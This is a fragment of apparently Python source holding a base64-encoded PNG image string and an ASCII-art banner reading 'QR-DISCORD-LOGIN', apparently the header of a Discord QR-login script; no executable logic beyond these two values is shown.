"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" + +banner = """ + + ██████╗ ██████╗ ██████╗ ██╗ ██████╗ █████╗ █████╗ ██████╗ ██████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗ +██╔═══██╗██╔══██╗ ██╔══██╗██║██╔════╝██╔══██╗██╔══██╗██╔══██╗██╔══██╗ ██║ ██╔══██╗██╔════╝ ██║████╗ ██║ +██║██╗██║██████╔╝█████╗██║ ██║██║╚█████╗ ██║ ╚═╝██║ ██║██████╔╝██║ ██║█████╗██║ ██║ ██║██║ ██╗ ██║██╔██╗██║ +╚██████╔╝██╔══██╗╚════╝██║ ██║██║ ╚═══██╗██║ ██╗██║ ██║██╔══██╗██║ ██║╚════╝██║ ██║ ██║██║ ╚██╗██║██║╚████║ + ╚═██╔═╝ ██║ ██║ ██████╔╝██║██████╔╝╚█████╔╝╚█████╔╝██║ ██║██████╔╝ ███████╗╚█████╔╝╚██████╔╝██║██║ ╚███║ + ╚═╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝╚═════╝ ╚════╝ ╚════╝ ╚═╝ ╚═╝╚═════╝ ╚══════╝ ╚════╝ ╚═════╝ ╚═╝╚═╝ ╚══╝ + +"""